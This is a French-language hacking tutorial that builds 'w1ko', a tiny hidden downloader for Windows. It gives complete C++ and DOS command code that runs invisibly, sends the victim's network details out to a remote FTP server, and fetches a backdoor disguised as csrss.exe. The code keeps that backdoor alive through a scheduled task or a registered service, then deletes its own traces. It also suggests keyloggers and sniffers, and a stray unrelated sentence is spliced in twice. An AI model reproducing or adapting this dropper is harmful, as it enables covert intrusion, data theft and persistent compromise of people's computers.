________________________________________________________________ ____ __ __ / ___________________________________________________________ ____ __ _ / ` \ / \[O8]/ + ,\_____ ___/ . ` |\/ , \__/ . \____ /:/=[ un affaire de shellexecute ] =\:\ _____/ ` x || , . " :X \_______________________________ ____ ____ / , ` ` || + , () . x , . ` ' ` \_ \ ,\\_ +\_ \ 'M ` | . || ` | ` , ` , + , ` ,--, + . \\_ \_ \ , \\_ K -+- / |+ -+- . , ` , ,',/ ,'. \_ \ . \\_ \_ \ - | ` / . | ; + + . ` | : . :`` ,_): ' ` \\_ \_ \ \\_` 1 , / ` . . x , .-=+=- `. ,. ,' ` , \_ \ + \\_` \_ \ 1 /\_____ x ' , . . X | ` `--' ` ` \\_ \_ \ , \\_ 1 + \\_ \___________________ , . . ` , + ' , , ; x ._\ \___\\___\ \ . \_ \ \__________________________________/ \ ` , \\_ /:/=[ Aka: fun with shellexecute ]=\:\ \ \__\__________________________________________ ______________________________ \` \__\ /__/ \\_ /:/=[ waxaw ]=\:\ _// \__\________________________/__/ L'article qui suis se veut une introduction à la fonction ShellExecute et à certaine commande DOS. La fonction ShellExecute est disons très utile car elle nous permet d'éxécuter un programme à partir du notre. Par exemple lorsque l'on démarre notre programme il pourrait ouvrir 1000 notepad. Ce qui est encore plus rigolo avec cette fonction, c'est quelle nous permet d'exécuter ces programme en cachant la fenêtre qui apparait lorsque l'on exécute un programme. Par exemple ouvrir 1000 notepad invisible... Pour voir s'il sont vraiment démarer il suffit de faire ctrl+alt+del pour voir les 1000 notepads. C'est ben beau cette fonction mais ou cé que j'men sert! Voici ce dont tu as besoin: MS Visual Studio 6.0 et plus précisément VC++ ( Pour la création de notre programme. ) FSG 2.0 - bart/xt ou Mew11 SE ( Pour que notre programme soit mini ) Un compte bidon sur tripod.com pour un FTP gratuit. Un bon 5 min à perdre. =========================================================================== Alors comment j'utilise cette fameuse fonction? C'est très simple, vous n'avez qu'à suivre les étapes mousaillons! 1) Ouvrir VC++ ( MSDEV.EXE ) 2) Créé un nouveau fichier en cliquant sur la feuille blanche étoilée. ( Que c'est romantique ) Copie et colle ceci : #include void startup() { SellExecute(NULL, NULL, "notepad.exe", NULL, NULL, SW_SHOWNORMAL); } 3) Fait Ctrl+F7. BANG cat demande de créé un projet dit et répond oui. 4) Ensuite tu va dans l'onglet "Build/Set active configuration" et met ca en Win32 Release. Ca va réduire de bcp la taille du programme qui va etre linker pour créé un exe. 5) Fait Alt+F7. Va dans l'onglet C/C++ et dans la boite de texte "Project Options" copie et colle ceci : /ML /O1 /Fo"Release/" /c 6) Va dans l'onglet et dans la boite de texte "Project Options" copie et colle ceci : shell32.lib /nologo /entry:"startup" /subsystem:windows /incremental:no /pdb:"Release/w1ko.pdb" /machine:I386 /nodefaultlib /out:"Release/w1ko.exe" /ignore:4078 /merge:.rdata=.text /merge:.data=.text /merge:.reloc=.text /section:.text,erwx /opt:ref /stub:stub.exe 7) Clic OKidou 8) Tu pèse F7 pis BOOM tu vient de créé un beau ti exe de 8 ko. 9) La tu va dans le dossier où ta créé ton projet et ensuite le dossier release. La c'est ton exe. Parce que 8 ko c'est gros ben packer le avec Mew ou FSG et vous obtenez un exe de 700 octets. 10) Maintenant Exécuter le :-) Et oui, notepad ouvre... ================================================================== Voici comment la fonction ShellExecute fonctionne: ShellExecute(NULL, NULL, "notepad.exe", NULL, NULL, SW_SHOWNORMAL); -1- -2- -3- -4- -5- -6- Débutons avec -1- et -5-, on s'en criss! -2- Peut etre remplacer par: "Open": Pour ouvrir un fichier mais n'est pas nécessaire. "Explore": Peut servir à explorer un dossier. "Find": Pour faire une recherche dans un dossier. -3- Le nom du programme à éxécuter, il faut donner le chemin complet et séparer le chemin avec des \\ pour faire un \. Par exemple c:\\windows\\system32\\calc.exe. Les programme qui sont situé dans la variable PATH de Windows n'ont pas besoin d'avoir leurs chemin spécifié. -4- Ce parametre sert à donner les paramètres que nous voulons exécuter avec notre programme. C'est surtout pour les programmes en mode console. Par exemple Ping 127.0.0.1. ceci va donner: ShellExecute(NULL, NULL, "ping.exe", "127.0.0.1", NULL, SW_SHOWNORMAL); -5- Ca c'est le plus cool des paramètres. Il permet de choisir quelle type d'affichage il y aura lorsque le programme sera exécuter. Par exemple maximiser ou minimiser, ou bien tout simplement invisible :-) Lorsque l'on veut mettre des paramètre qui requiert des guillement (""), il faut changer le " par un \". Exemple pour cacher la fenêtre faite: ShellExecute(NULL, NULL, "ping.exe", "127.0.0.1", NULL, SW_HIDE); Magique non? pour en savoir plus allez voir: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp ======================================================================== Mais à quoi ca sert d'exécuter 1000 notepad allez-vous me demandez... lol ben à rien. C'est pourquoi nous utiliserons ShellExecute pour nous faire un beau petit FTP downloader qui ouvrira une backdoor. Pour ceux qui aime mieux ouvrir 1000 notepad, et bien fait Alt+F4 et allez visiter www.avecsonchien.com. Ce qui est amusant c'est que notre FTP downloader ne fait même 1ko. C'est pourquoi, après un gramme bat de skunk fou, j'ai décidé d'appeler notre programme w1ko. Tout les commandes effectuées par w1ko sont en DOS. Hein WTF? Ouais en dos car le programme que la fonction ShellExecute executera sera cmd.exe avec le paramètre /c. Ce parametre dit à cmd.exe d'exécuter les commandes dos que nous lui donnerons et puis de se terminé. Oui mais comment jvais faire pour mettre plusieurs commandes sur une même ligne? Simplement en séparent les commandes par le caractère &. Pour avoir une idée plus claire des actions de w1ko, voici les commandes DOS qu'il exécute invisiblement 1) Exécute ipconfig et met les résultats dans un fichier nommé ez%username%.tmp situé dans le temp. La variable %username% représente l'utilisateur courant. Donc ce fichier a un nom approprié à chaque victime. Ce fichier permetra de savoir l'adresse IP de la victime. ipconfig>%tmp%\ez%username%.tmp 2) Création d'un fichier automatisé qui permetra à FTP.exe de télécharger automatiquement notre backdoor. Ce fichier contient le user/pass du FTP, l'envoie du fichier ez%username%.tmp, le changement de répertoire pour le téléchargement, le changement de type de téléchargement pour binary, le téléchargement du backdoor qui est ici csrss.exe et puis finalement un beau ti bye bye au FTP. J'ai choisi le nom csrss.exe pour la backdoor car lorsqu'un programme est exécuter sous ce nom il ne peut être arrêter avec "Terminer le processus". Ce fichier est créé dans le dossier temp sous le nom de ez1.tmp. En passent pour ceux qui se demande ce que signifie %path:~0,19% ben c'est en fait c:\windows\system32. C'a prend moins de caractères ;-) echo user le_user_name>%tmp%\ez1.tmp echo le_password>>%tmp%\ez1.tmp echo put %tmp%\ez%username%.tmp>>%tmp%\ez1.tmp echo lcd %path:~0,19%\wins>>%tmp%\ez1.tmp echo bin>>%tmp%\ez1.tmp echo get csrss.exe>>%tmp%\ez1.tmp echo bye>>%tmp%\ez1.tmp 3) Exécution de FTP.exe qui suivra les commande de %tmp%\ez1.tmp grace au paramètre -s. Le paramètre -v supprime l'affichage des réponses du serveur distant, le paramètre -i désactive l'invite s'il y a plusieurs fichiers à transférer puis finalement le pramètre n supprime la connexion automatique au démarrage. Il faut bien sur spécifier l'adresse IP ou le nom de domaine du serveur FTP. Par exemple ici 209.202.240.80, c'est ftp.tripod.com. ftp -v -i -n -s:%tmp%\ez1.tmp 209.202.240.80 flash. Cette technologie a beau être en constant essort, le nombre de types de "clients" qui 4) Puisque nous n'avons plus besoin des fichiers %tmp%\ez1.tmp et %tmp%\\ez%username%.tmp, pourquoi ne pas les supprimer pour effacer nos traces... En passent pour ceux qui n'ont pas compris l'utilité de l'étoile ben acheter vous ms-dos pour les nuls. del %tmp%\ez* flash. Cette technologie a beau être en constant essort, le nombre de types de "clients" qui 5) Gnan ben cpa 1337 ton truc y par même pas a toute les fois que le h4x0riZé par son compute. Tout faux!!! Grave à notre ami schtasks nous allons créé une merveilleuse tâche nommée system, qui va exécuter notre belle petite backdoor à toute les 7 minutes. Alors a chaque 7 minutes vous éclatez de joie après avoir fait un beau ti nc -lvvp 1337 ;-). schtasks /create /tn system /tr "%path:~0,19%\wins\csrss.exe" /sc minute /mo 7 /ru "" 6) Puisqu'on est pas ben ben patient pis qu'on veut pas attendre ce 7 minute la premiere fois qu'on exécute w1ko, ben on le start drette live! start %path:~0,19%\wins\csrss.exe 7) Cpa cool de laisser notre pauvre petit w1ko poirotter comme ca sur la victime. Alors pourquoi ne pas l'auto-supprimé lorsqu'il est exécuté :-P del w1* =========================================================================== Et comment je met ces commandes DOS la en C++ ? Comme ca : #include void startup() { ShellExecute(NULL, NULL, "cmd", "/cipconfig>%tmp%\\ez%username%.tmp&echo user TON_USER>%tmp%\\ez1.tmp&echo TON_PASS>>%tmp%\\ez1.tmp&echo put %tmp%\\ez%username%.tmp>>%tmp%\\ez1.tmp&echo lcd %path:~0,19%\\wins>>%tmp%\\ez1.tmp&echo bin>>%tmp%\\ez1.tmp&echo get csrss.exe>>%tmp%\\ez1.tmp&echo bye>>%tmp%\\ez1.tmp&ftp -v -i -n -s:%tmp%\\ez1.tmp 209.202.240.80&del %tmp%\\ez*&schtasks /create /tn system /tr \"%path:~0,19%\\wins\\csrss.exe\" /sc minute /mo 7 /ru \"\"&start %path:~0,19%\\wins\\csrss.exe&del w1*", NULL, SW_HIDE); } et pour ceux qui aime pas trop l'idée de schtasks, il est tourjours possible de créé backdoor en Service en utilisant Instsrv.exe et Srvany.exe de la façon suivante: Instsrv.exe = svchost.exe et Srvany.exe = smss.exe: #include void startup() { ShellExecute(NULL, NULL, "cmd", "/cipconfig>%tmp%\\ez%username%.tmp&echo user b8st5gh>%tmp%\\ez1.tmp&echo ard3lu7>>%tmp%\\ez1.tmp&echo put %tmp%\\ez%username%.tmp>>%tmp%\\ez1.tmp&echo lcd %windir%\\system32\\wins>>%tmp%\\ez1.tmp&echo bin>>%tmp%\\ez1.tmp&echo mget smss.exe svchost.exe csrss.exe>>%tmp%\\ez1.tmp&echo bye>>%tmp%\\ez1.tmp&ftp -v -i -n -s:%tmp%\\ez1.tmp 209.202.240.80&del %tmp%\\ez*.*&%windir%\\system32\\wins\\svchost.exe \"Service d'aide\" %windir%\\system32\\wins\\smss.exe® add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\Service d'aide\\Parameters\" /v Application /t reg_sz /d %windir%\\system32\\wins\\csrss.exe /f&net start \"Service d'aide\"&del %windir%\\system32\\wins\\sv*.exe&del w1ko.exe", NULL, SW_HIDE); } Ca ne s'arrete pas là, nous pourrions partir le service Telnet WinXp pro, sharer les disques dur de la victime, inserer un sniffer invisible, un keylogger, etc... Bref ya pleins d'amusantes choses à faire avec cette fonction, il suffit d'y penser. J'espere que ce petit tutorial vous a plus... wAXAw, wAxXxAw@gmail.com